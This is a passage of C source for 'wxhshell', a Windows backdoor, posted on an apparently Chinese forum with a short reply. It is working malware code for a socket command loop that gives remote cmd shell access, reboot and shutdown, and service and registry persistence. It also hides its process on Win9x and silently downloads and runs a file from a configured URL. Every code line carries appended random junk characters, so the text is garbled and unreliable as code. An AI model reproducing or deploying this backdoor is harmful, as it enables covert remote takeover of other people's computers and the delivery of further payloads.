  if(DownloadFile(cmd,wsh)) >EZZEd   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); - ZyY95E<  
  else ek]nLN  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E@n~ @|10  
  } N u\<Xr8  
  else { "tK|/R+  
%>6ilG Q+  
    switch(cmd[0]) { c!'\k,ma<9  
  &I(\:|`o  
  // 帮助 qxsHhyB_n;  
  case '?': { BW}M/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }p?67y/  
    break; |lg jI!iK  
  } }L&LtW{X  
  // 安装 (DS"*4ty  
  case 'i': { SbzJeaZv  
    if(Install()) o4J@M{xb_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g_N^Y  
    else 0:<Y@#L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +."cbqGP_q  
    break; k_ywwkG9lU  
    } <VutwtA  
  // 卸载 s{8=Q0^  
  case 'r': { G--(Ef%v'  
    if(Uninstall()) BV }CmU&DA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4d}=g]P  
    else /f Q}Ls\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ".waCt6  
    break; +^&i(7a[?  
    } kS=nH9  
  // 显示 wxhshell 所在路径 dUt4] ar  
  case 'p': { x[&<e<6  
    char svExeFile[MAX_PATH]; iyd$_CJz  
    strcpy(svExeFile,"\n\r"); N)AlQ'Lwx  
      strcat(svExeFile,ExeFile); VZ =:`)  
        send(wsh,svExeFile,strlen(svExeFile),0); 1q3"qY H  
    break; G2?#MO  
    } ey,f igjd.  
  // 重启 XWQ `]m)  
  case 'b': { VB#&`]r do  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R! On  
    if(Boot(REBOOT)) EP>Lh7E9n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@"FV,L>  
    else { 4,Oa(b  
    closesocket(wsh); <\O8D0.d  
    ExitThread(0); dJQK|/  
    } W5= j&&|!  
    break; O9/)_:Wdh  
    } .{*l,  
  // 关机 M \  
  case 'd': { *hJWuMfY,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #ojuSS3  
    if(Boot(SHUTDOWN)) 2f@Cy+W'[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m'"H1~BW  
    else { U B~ -$\.  
    closesocket(wsh); 9__B!vw:  
    ExitThread(0); 79@CO6  
    } hf0(!C*  
    break; jC>#`gD  
    } i*m ;kWu,  
  // 获取shell e&U$;sS`  
  case 's': { R@s7s%y=  
    CmdShell(wsh); D}lqd Ja  
    closesocket(wsh); wy tMoG\  
    ExitThread(0); OFyy!r@?  
    break; *PV"&cx  
  } 7aKI=;60.  
  // 退出 .%e>>U>F  
  case 'x': { ~<9e }J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X[1D$1Dvw  
    CloseIt(wsh); -N wic|  
    break; r|DIf28MIq  
    }  C=@4U}  
  // 离开 (=;'>*L(  
  case 'q': { <tZZ]Y]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eOF *|9  
    closesocket(wsh); =b>TFB=*N  
    WSACleanup(); u)I\R\N  
    exit(1); PpBptsb^|J  
    break; F[yofR N  
        } <!XunXh  
  } oy5K* }  
  } Skg/iH"(  
D&2NO/ R  
  // 提示信息 V| kN 1 A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &]RE 5!  
} %=9o'Y,4  
  } X' 5R4j  
@KU;' th  
  return; 1zH?.-  
} 'N+;{8C-{  
g3&nxZ  
// shell模块句柄 :q*w_*w  
int CmdShell(SOCKET sock) K8MET&  
{ o5DT1>h  
STARTUPINFO si; ^>Z_3 {s:$  
ZeroMemory(&si,sizeof(si)); 1/w8'Kf'u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]k^?=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2|& S2uq  
PROCESS_INFORMATION ProcessInfo; yq k8)\p  
char cmdline[]="cmd"; F0z7".)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .'_}:~  
  return 0; S`zu.8%5  
} 8a)Brl}u  
rf4f'cUa  
// 自身启动模式 y&5 O)  
int StartFromService(void) cnQ2/ZZp~  
{ b~:)d>s8wY  
typedef struct N<a %l J  
{ K-#d1+P+  
  DWORD ExitStatus; /KF@Un_Ow  
  DWORD PebBaseAddress; BlU&=;#r5>  
  DWORD AffinityMask; e1h7~ j  
  DWORD BasePriority; DC*MB:c#U  
  ULONG UniqueProcessId; @0 P4pt;(  
  ULONG InheritedFromUniqueProcessId; 9t)Hi qj  
}   PROCESS_BASIC_INFORMATION; *8?2+ )5"  
L@s6u +uu  
PROCNTQSIP NtQueryInformationProcess; w)zJ $l  
em3+V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {cOx0=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >4Tk#+%Jj  
DGb1_2ZQ  
  HANDLE             hProcess; Aipm=C8  
  PROCESS_BASIC_INFORMATION pbi; OzrIiahz/  
u%z'.#r;a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (XmmbAbVom  
  if(NULL == hInst ) return 0; b/ \EN)  
;#9?3O s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fv+ET:T%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); u%:`r*r  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d[,Rgdd@I  
^O@eyP  
  if (!NtQueryInformationProcess) return 0; oj Y.6w  
~nmFZ] y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X5/fy"g&  
  if(!hProcess) return 0; 6[ 3 K@  
^U5N!"6R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }aE'  
xO>z )3A  
  CloseHandle(hProcess); Y` ]P&y  
}#ta3 x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p@f #fs  
if(hProcess==NULL) return 0; }RadbJ{q=  
RVwS<g)~1  
HMODULE hMod; :qbU@)p*  
char procName[255]; $RY-yKmi  
unsigned long cbNeeded; u_' -vZ_  
t*H2;|zn_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 57{T p:|  
8b]4uI <  
  CloseHandle(hProcess); =-:%~n g  
!;*flr`/  
if(strstr(procName,"services")) return 1; // 以服务启动 b_F1?:#  
)2ShoFF  
  return 0; // 注册表启动 iT Aj$ { >  
} grgs r_)[  
_d3Z~cH  
// 主模块 6}N`YOJ.  
int StartWxhshell(LPSTR lpCmdLine) L5 `k3ap|  
{ 6#*_d,xQT  
  SOCKET wsl; Sxc)~y  
BOOL val=TRUE; %\48hSe  
  int port=0; TCRTC0_}k  
  struct sockaddr_in door; V;MmPNP|  
;a1DIUm'  
  if(wscfg.ws_autoins) Install(); lAi5sN)|$  
P8X9bW~GQ  
port=atoi(lpCmdLine); 'pIrwA^6N  
4PxP*j  
if(port<=0) port=wscfg.ws_port; OXQA(%MK  
}B7Txo,Z  
  WSADATA data; |}z5ST%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o[_,r]%+D  
J?J4<l9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TxF^zx\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \MRd4vufv  
  door.sin_family = AF_INET; oc] C+l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ds"%=  
  door.sin_port = htons(port); _ncBq;j{  
lG'D/#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5|~g2Zz{;  
closesocket(wsl); qqZ4K:oC,  
return 1; tT)s,R%  
} e`={_R{N  
*w*K&$g  
  if(listen(wsl,2) == INVALID_SOCKET) { , p}:?uR  
closesocket(wsl); W+Mw:,>*s  
return 1; p%*s3E1.D  
} 5TpvJ1G  
  Wxhshell(wsl); .yfp-n4H  
  WSACleanup(); $s}w23nB  
3AdYZ7J  
return 0; %,vq@..^  
zdPJ>PNU  
} F5:xrcyC  
Sd ^I >;  
// 以NT服务方式启动 ylczM^@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q]=/e7  
{ \='LR!_  
DWORD   status = 0; [7 PC\  
  DWORD   specificError = 0xfffffff; fWA# n  
>F7HKwg}Z  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H%l-@::+$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ef7 U7   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "aKlvK:77  
  serviceStatus.dwWin32ExitCode     = 0; >CrrxiG  
  serviceStatus.dwServiceSpecificExitCode = 0; +2:HgW  
  serviceStatus.dwCheckPoint       = 0; \8ZVI98  
  serviceStatus.dwWaitHint       = 0; A/a=)s u  
CB>W# P%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (|AZO!  
  if (hServiceStatusHandle==0) return; Jf= V<  
u8JH~b  
status = GetLastError(); _y6iR&&x  
  if (status!=NO_ERROR) Ump Hae  
{ \41/84BA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Xa>'DO2  
    serviceStatus.dwCheckPoint       = 0; om`B:=+  
    serviceStatus.dwWaitHint       = 0; \Cq4r4'  
    serviceStatus.dwWin32ExitCode     = status; ^bPpcm=  
    serviceStatus.dwServiceSpecificExitCode = specificError; B2$cY;LH  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sM)1w-  
    return; :+\sKEzL  
  } jcJ@A0]  
V/\Y(Mxc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g?xXX /Qe  
  serviceStatus.dwCheckPoint       = 0; I:DAn!N-A*  
  serviceStatus.dwWaitHint       = 0; xC9?rLUZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O{ 3X`xAf  
} ]Kjt@F";  
arR<!y7  
// 处理NT服务事件,比如:启动、停止 y,rdyt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Tz6I7S-w  
{ dR=sdqS#J  
switch(fdwControl) 40 u tmC  
{ _(m455HZ  
case SERVICE_CONTROL_STOP: Ii}{{1N6  
  serviceStatus.dwWin32ExitCode = 0; go=xx.WJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yR{rje*  
  serviceStatus.dwCheckPoint   = 0; >3b< Fq$  
  serviceStatus.dwWaitHint     = 0; z"|jCdZGM  
  { ~kV>nx2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /0k'w%V{n  
  } }sqFvab<  
  return; /,~]1&?}1  
case SERVICE_CONTROL_PAUSE: ,f)+|?wz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _0u=}tc  
  break; JT<JS6vw#  
case SERVICE_CONTROL_CONTINUE: 'tkQz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W!" $g  
  break; v~AshmP  
case SERVICE_CONTROL_INTERROGATE: 8VU(+%X  
  break; WQCnkP  
}; POl-S<QV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E[ -yfP~[  
} C%<Dq0j  
aLLI\3  
// 标准应用程序主函数 uIO?4\s&G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .EWjeVq  
{ \rh+\9(  
tkptm%I _  
// 获取操作系统版本 '6\w4J(  
OsIsNt=GetOsVer(); c^H#[<6p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v0\M$@N[  
xa_ IdkV  
  // 从命令行安装 wO!>kc<  
  if(strpbrk(lpCmdLine,"iI")) Install(); Av n-Ug  
QYDI-<.(  
  // 下载执行文件 p;, V  
if(wscfg.ws_downexe) { )AieO-4*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $aT '~|?  
  WinExec(wscfg.ws_filenam,SW_HIDE); & \5Ur^t  
} )L "Dt_t  
^j.3'}p  
if(!OsIsNt) { YsCY~e&  
// 如果时win9x,隐藏进程并且设置为注册表启动 /8:e| ]  
HideProc(); +6+1N)L  
StartWxhshell(lpCmdLine); Kn1u1@&Xd  
} ZBU<L+#  
else krlebPs[  
  if(StartFromService()) elKp?YN  
  // 以服务方式启动 OUN~7]OD%  
  StartServiceCtrlDispatcher(DispatchTable); O['[_1n_u]  
else oMM@{Jp  
  // 普通方式启动 suaP'0  
  StartWxhshell(lpCmdLine); uj%]+Llxv  
KDP& I J  
return 0; s^)(.e_  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五